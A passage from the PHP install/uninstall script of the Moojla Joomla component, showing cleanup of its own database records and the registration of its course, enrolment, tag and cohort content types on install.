$query->where($cohort_condition);
$db->setQuery($query);
// Execute the query to remove Cohort items
$db->execute();
// Remove Cohort items from the ucm history table
$cohort_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $cohort_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_history'));
$query->where($cohort_condition);
$db->setQuery($query);
// Execute the query to remove Cohort items
$db->execute();
}
}
// If All related items was removed queued success message.
$app->enqueueMessage(JText::_('All related items was removed from
the <b>#__ucm_base</b> table'));
$app->enqueueMessage(JText::_('All related items was removed from
the <b>#__ucm_history</b> table'));
// Remove moojla assets from the assets table
$moojla_condition = array( $db->quoteName('name') . '
LIKE ' . $db->quote('com_moojla%') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__assets'));
$query->where($moojla_condition);
$db->setQuery($query);
$cohort_done = $db->execute();
if ($cohort_done)
{
// If successfully removed moojla add queued success message.
$app->enqueueMessage(JText::_('All related items was removed
from the <b>#__assets</b> table'));
}
/***[JCBGUI.joomla_component.php_method_uninstall.29.$$$$]***/
require_once
JPATH_ADMINISTRATOR.'/components/com_menus/models/item.php';
require_once
JPATH_ADMINISTRATOR.'/components/com_menus/tables/menu.php' ;
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('id')->from($db->quoteName('#__menu'))->where($db->quoteName('menutype').'='.$db->quote('moojla_default'));
$db->setQuery($query);
$menuItemIds= $db->loadColumn(0);
$obj= new MenusModelItem;
$obj->publish($menuItemIds,-2);
$obj->delete($menuItemIds);
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__menu_types'))->where($db->quoteName('menutype').'='.$db->quote('moojla_default'));
$db->setQuery($query);
$db->execute();/***[/JCBGUI$$$$]***/
// little notice as after service, in case of bad experience with
component.
echo '<h2>Did something go wrong? Are you
disappointed?</h2>
<p>Please let me know at <a
href="mailto:info@Lmskaran.com">info@Lmskaran.com</a>.
<br />We at Lmskaran are committed to building extensions that
performs proficiently! You can help us, really!
<br />Send me your thoughts on improvements that is needed, trust
me, I will be very grateful!
<br />Visit us at <a href="http://Lmskaran.com"
target="_blank">http://Lmskaran.com</a>
today!</p>';
}
/**
* Called on update
*
* @param JAdapterInstance $parent The object responsible for running
this script
*
* @return boolean True on success
*/
public function update(JAdapterInstance $parent){}
/**
* Called before any type of action
*
* @param string $type Which action is happening
(install|uninstall|discover_install|update)
* @param JAdapterInstance $parent The object responsible for running
this script
*
* @return boolean True on success
*/
public function preflight($type, JAdapterInstance $parent)
{
// get application
$app = JFactory::getApplication();
// is redundant or so it seems ...hmmm let me know if it works again
if ($type === 'uninstall')
{
return true;
}
// the default for both install and update
$jversion = new JVersion();
if (!$jversion->isCompatible('3.8.0'))
{
$app->enqueueMessage('Please upgrade to at least Joomla! 3.8.0
before continuing!', 'error');
return false;
}
// do any updates needed
if ($type === 'update')
{
}
// do any install needed
if ($type === 'install')
{
}
// check if the PHPExcel stuff is still around
if (File::exists(JPATH_ADMINISTRATOR .
'/components/com_moojla/helpers/PHPExcel.php'))
{
// We need to remove this old PHPExcel folder
$this->removeFolder(JPATH_ADMINISTRATOR .
'/components/com_moojla/helpers/PHPExcel');
// We need to remove this old PHPExcel file
File::delete(JPATH_ADMINISTRATOR .
'/components/com_moojla/helpers/PHPExcel.php');
}
return true;
}
/**
* Called after any type of action
*
* @param string $type Which action is happening
(install|uninstall|discover_install|update)
* @param JAdapterInstance $parent The object responsible for running
this script
*
* @return boolean True on success
*/
public function postflight($type, JAdapterInstance $parent)
{
// get application
$app = JFactory::getApplication();
// We check if we have dynamic folders to copy
$this->setDynamicF0ld3rs($app, $parent);
// set the default component settings
if ($type === 'install')
{
// Get The Database object
$db = JFactory::getDbo();
// Create the course content type object.
$course = new stdClass();
$course->type_title = 'Moojla Course';
$course->type_alias = 'com_moojla.course';
$course->table = '{"special": {"dbtable":
"#__moojla_course","key":
"id","type": "Course","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$course->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"shortname","core_state":
"published","core_alias":
"alias","core_created_time":
"created","core_modified_time":
"modified","core_body":
"teachers","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"metadata","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"metakey","core_metadesc":
"metadesc","core_catid":
"catid","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"shortname":"shortname","fullname":"fullname","addcontrols":"addcontrols","showregtab":"showregtab","startdate":"startdate","enterlbl":"enterlbl","cangotomoodle":"cangotomoodle","preloadaudio":"preloadaudio","loginurl":"loginurl","in_enrol_date":"in_enrol_date","enddate":"enddate","remoteid":"remoteid","guest":"guest","cost":"cost","teachers":"teachers","summary_files":"summary_files","autoplay":"autoplay","summary":"summary","useglobalaudio":"useglobalaudio","alias":"alias","cat_name":"cat_name","currency":"currency","alterurl":"alterurl","loginlbl":"loginlbl","buylbl":"buylbl","enrollbl":"enrollbl","popupbutton":"popupbutton","videotype":"videotype","registrationurl":"registrationurl","self_enrolment":"self_enrolment","freeenterlbl":"freeenterlbl","permanent_fields":"permanent_fields","useglobalvideo":"useglobalvideo","course_templatestyle_forcourseconfig":"course_templatestyle_forcourseconfig","preventdownload":"preventdownload","course_detail_layout":"course_detail_layout","preloadvideo":"preloadvideo","availabilityinfolink":"availabilityinfolink","muted":"muted","redirect_after_enrol":"redirect_after_enrol","preventdownloadaudio":"preventdownloadaudio","showlogintab":"showlogintab","autoplayaudio":"autoplayaudio","cat_id":"cat_id"}}';
$course->router = 'MoojlaHelperRoute::getCourseRoute';
$course->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/course.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","catid","addcontrols","showregtab","cangotomoodle","preloadaudio","remoteid","guest","cost","autoplay","useglobalaudio","popupbutton","videotype","useglobalvideo","course_templatestyle_forcourseconfig","preventdownload","preloadvideo","availabilityinfolink","muted","redirect_after_enrol","preventdownloadaudio","showlogintab","autoplayaudio","cat_id"],"displayLookup":
[{"sourceColumn": "catid","targetTable":
"#__categories","targetColumn":
"id","displayColumn":
"title"},{"sourceColumn":
"created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"course_templatestyle_forcourseconfig","targetTable":
"#__template_styles","targetColumn":
"id","displayColumn": "title"}]}';
// Set the object into the content types table.
$course_Inserted = $db->insertObject('#__content_types',
$course);
// Create the course category content type object.
$course_category = new stdClass();
$course_category->type_title = 'Moojla Course Catid';
$course_category->type_alias =
'com_moojla.course.category';
$course_category->table =
'{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}';
$course_category->field_mappings =
'{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description",
"core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access",
"core_params":"params",
"core_featured":"null",
"core_metadata":"metadata",
"core_language":"language",
"core_images":"null",
"core_urls":"null",
"core_version":"version",
"core_ordering":"null",
"core_metakey":"metakey",
"core_metadesc":"metadesc",
"core_catid":"parent_id",
"core_xreference":"null",
"asset_id":"asset_id"},
"special":{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}';
$course_category->router =
'MoojlaHelperRoute::getCategoryRoute';
$course_category->content_history_options =
'{"formFile":"administrator\/components\/com_categories\/models\/forms\/category.xml",
"hideFields":["asset_id","checked_out","checked_out_time","version","lft","rgt","level","path","extension"],
"ignoreChanges":["modified_user_id",
"modified_time", "checked_out",
"checked_out_time", "version", "hits",
"path"],"convertToInt":["publish_up",
"publish_down"],
"displayLookup":[{"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"parent_id","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}]}';
// Set the object into the content types table.
$course_category_Inserted =
$db->insertObject('#__content_types', $course_category);
// Create the course_field_mapper content type object.
$course_field_mapper = new stdClass();
$course_field_mapper->type_title = 'Moojla
Course_field_mapper';
$course_field_mapper->type_alias =
'com_moojla.course_field_mapper';
$course_field_mapper->table = '{"special":
{"dbtable":
"#__moojla_course_field_mapper","key":
"id","type":
"Course_field_mapper","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$course_field_mapper->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"coursefield","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"access","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"coursefield":"coursefield","mcoursefields":"mcoursefields","field_icon":"field_icon"}}';
$course_field_mapper->router =
'MoojlaHelperRoute::getCourse_field_mapperRoute';
$course_field_mapper->content_history_options =
'{"formFile":
"administrator/components/com_moojla/models/forms/course_field_mapper.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","coursefield"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"access","targetTable":
"#__viewlevels","targetColumn":
"id","displayColumn":
"title"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"coursefield","targetTable":
"#__fields","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"mcoursefields","targetTable":
"#__moojla_course_field_mapper","targetColumn":
"id","displayColumn": "id"}]}';
// Set the object into the content types table.
$course_field_mapper_Inserted =
$db->insertObject('#__content_types', $course_field_mapper);
// Create the user_map content type object.
$user_map = new stdClass();
$user_map->type_title = 'Moojla User_map';
$user_map->type_alias = 'com_moojla.user_map';
$user_map->table = '{"special": {"dbtable":
"#__moojla_user_map","key":
"id","type": "User_map","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$user_map->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"jid","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"jid":"jid","mid":"mid","userimage":"userimage","debug":"debug","updatetype":"updatetype"}}';
$user_map->router = 'MoojlaHelperRoute::getUser_mapRoute';
$user_map->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/user_map.xml","hideFields":
["asset_id","checked_out","checked_out_time","version","debug"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","jid","mid","updatetype"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';
// Set the object into the content types table.
$user_map_Inserted = $db->insertObject('#__content_types',
$user_map);
// Create the user_field_map content type object.
$user_field_map = new stdClass();
$user_field_map->type_title = 'Moojla User_field_map';
$user_field_map->type_alias = 'com_moojla.user_field_map';
$user_field_map->table = '{"special":
{"dbtable": "#__moojla_user_field_map","key":
"id","type":
"User_field_map","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$user_field_map->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"juserfields","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"juserfields":"juserfields","muserfields":"muserfields","iscv":"iscv"}}';
$user_field_map->router =
'MoojlaHelperRoute::getUser_field_mapRoute';
$user_field_map->content_history_options =
'{"formFile":
"administrator/components/com_moojla/models/forms/user_field_map.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","iscv"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"juserfields","targetTable":
"#__fields","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"muserfields","targetTable":
"#__moojla_user_field_map","targetColumn":
"id","displayColumn": "id"}]}';
// Set the object into the content types table.
$user_field_map_Inserted =
$db->insertObject('#__content_types', $user_field_map);
// Create the course_group_map content type object.
$course_group_map = new stdClass();
$course_group_map->type_title = 'Moojla Course_group_map';
$course_group_map->type_alias =
'com_moojla.course_group_map';
$course_group_map->table = '{"special":
{"dbtable":
"#__moojla_course_group_map","key":
"id","type":
"Course_group_map","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$course_group_map->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"moojlacourse","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"moojlacourse":"moojlacourse","course_group":"course_group","role":"role"}}';
$course_group_map->router =
'MoojlaHelperRoute::getCourse_group_mapRoute';
$course_group_map->content_history_options =
'{"formFile":
"administrator/components/com_moojla/models/forms/course_group_map.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","moojlacourse","course_group","role"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"moojlacourse","targetTable":
"#__moojla_course","targetColumn":
"remoteid","displayColumn":
"fullname"},{"sourceColumn":
"course_group","targetTable":
"#__usergroups","targetColumn":
"id","displayColumn": "title"}]}';
// Set the object into the content types table.
$course_group_map_Inserted =
$db->insertObject('#__content_types', $course_group_map);
// Create the enrolment content type object.
$enrolment = new stdClass();
$enrolment->type_title = 'Moojla Enrolment';
$enrolment->type_alias = 'com_moojla.enrolment';
$enrolment->table = '{"special": {"dbtable":
"#__moojla_enrolment","key":
"id","type": "Enrolment","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$enrolment->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"null","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"role":"role","moojlacourse":"moojlacourse","jid":"jid","enrolldate":"enrolldate"}}';
$enrolment->router =
'MoojlaHelperRoute::getEnrolmentRoute';
$enrolment->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/enrolment.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","moojlacourse","jid"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"moojlacourse","targetTable":
"#__moojla_course","targetColumn":
"remoteid","displayColumn":
"fullname"},{"sourceColumn":
"jid","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';
// Set the object into the content types table.
$enrolment_Inserted = $db->insertObject('#__content_types',
$enrolment);
// Create the tag content type object.
$tag = new stdClass();
$tag->type_title = 'Moojla Tag';
$tag->type_alias = 'com_moojla.tag';
$tag->table = '{"special": {"dbtable":
"#__moojla_tag","key": "id","type":
"Tag","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$tag->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"tagname","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"access","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"tagid":"tagid","tagname":"tagname","isstandard":"isstandard","tags":"tags"}}';
$tag->router = 'MoojlaHelperRoute::getTagRoute';
$tag->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/tag.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","tagid","isstandard","tags"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"access","targetTable":
"#__viewlevels","targetColumn":
"id","displayColumn":
"title"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';
// Set the object into the content types table.
$tag_Inserted = $db->insertObject('#__content_types',
$tag);
// Create the tag_instance content type object.
$tag_instance = new stdClass();
$tag_instance->type_title = 'Moojla Tag_instance';
$tag_instance->type_alias = 'com_moojla.tag_instance';
$tag_instance->table = '{"special":
{"dbtable": "#__moojla_tag_instance","key":
"id","type":
"Tag_instance","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$tag_instance->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"moojlacourse","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"access","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"moojlacourse":"moojlacourse","moodletag":"moodletag"}}';
$tag_instance->router =
'MoojlaHelperRoute::getTag_instanceRoute';
$tag_instance->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/tag_instance.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","moojlacourse","moodletag"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"access","targetTable":
"#__viewlevels","targetColumn":
"id","displayColumn":
"title"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"moojlacourse","targetTable":
"#__moojla_course","targetColumn":
"remoteid","displayColumn":
"fullname"},{"sourceColumn":
"moodletag","targetTable":
"#__moojla_tag","targetColumn":
"tagid","displayColumn": "tagname"}]}';
// Set the object into the content types table.
$tag_instance_Inserted =
$db->insertObject('#__content_types', $tag_instance);
// Create the section content type object.
$section = new stdClass();
$section->type_title = 'Moojla Section';
$section->type_alias = 'com_moojla.section';
$section->table = '{"special": {"dbtable":
"#__moojla_section","key":
"id","type": "Section","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$section->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"section_id","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"summary","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"courseid":"courseid","section_id":"section_id","name":"name","visible":"visible","uservisible":"uservisible","summary":"summary"}}';
$section->router = 'MoojlaHelperRoute::getSectionRoute';
$section->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/section.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","courseid","section_id","visible","uservisible"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';
// Set the object into the content types table.
$section_Inserted = $db->insertObject('#__content_types',
$section);
// Create the module content type object.
$module = new stdClass();
$module->type_title = 'Moojla Module';
$module->type_alias = 'com_moojla.module';
$module->table = '{"special": {"dbtable":
"#__moojla_module","key":
"id","type": "Module","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$module->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"module_id","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"modicon","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"module_section_id":"module_section_id","module_id":"module_id","name":"name","modname":"modname","visible":"visible","uservisible":"uservisible","modicon":"modicon","description":"description","url":"url"}}';
$module->router = 'MoojlaHelperRoute::getModuleRoute';
$module->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/module.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","module_section_id","module_id","visible","uservisible"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';
// Set the object into the content types table.
$module_Inserted = $db->insertObject('#__content_types',
$module);
// Create the content content type object.
$content = new stdClass();
$content->type_title = 'Moojla Content';
$content->type_alias = 'com_moojla.content';
$content->table = '{"special": {"dbtable":
"#__moojla_content","key":
"id","type": "Content","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$content->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"type","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"contents_module_id":"contents_module_id","type":"type","filename":"filename","mimetype":"mimetype","file":"file","filesize":"filesize","fileurl":"fileurl"}}';
$content->router = 'MoojlaHelperRoute::getContentRoute';
$content->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/content.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","contents_module_id","filesize"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';
// Set the object into the content types table.
$content_Inserted = $db->insertObject('#__content_types',
$content);
// Create the category_map content type object.
$category_map = new stdClass();
$category_map->type_title = 'Moojla Category_map';
$category_map->type_alias = 'com_moojla.category_map';
$category_map->table = '{"special":
{"dbtable": "#__moojla_category_map","key":
"id","type":
"Category_map","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$category_map->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"null","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"jcatid":"jcatid","mcatid":"mcatid"}}';
$category_map->router =
'MoojlaHelperRoute::getCategory_mapRoute';
$category_map->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/category_map.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","jcatid","mcatid"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';
// Set the object into the content types table.
$category_map_Inserted =
$db->insertObject('#__content_types', $category_map);
// Create the cohort content type object.
$cohort = new stdClass();
$cohort->type_title = 'Moojla Cohort';
$cohort->type_alias = 'com_moojla.cohort';
$cohort->table = '{"special": {"dbtable":
"#__moojla_cohort","key":
"id","type": "Cohort","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
$cohort->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"null","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"mcohort":"mcohort","course_group":"course_group"}}';
$cohort->router = 'MoojlaHelperRoute::getCohortRoute';
$cohort->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/cohort.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","mcohort","course_group"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"course_group","targetTable":
"#__usergroups","targetColumn":
"id","displayColumn": "title"}]}';
// Set the object into the content types table.
$cohort_Inserted = $db->insertObject('#__content_types',
$cohort);
// Install the global extenstion params.
$query = $db->getQuery(true);
// Field to update.
$fields = array(
$db->quoteName('params') . ' = ' .
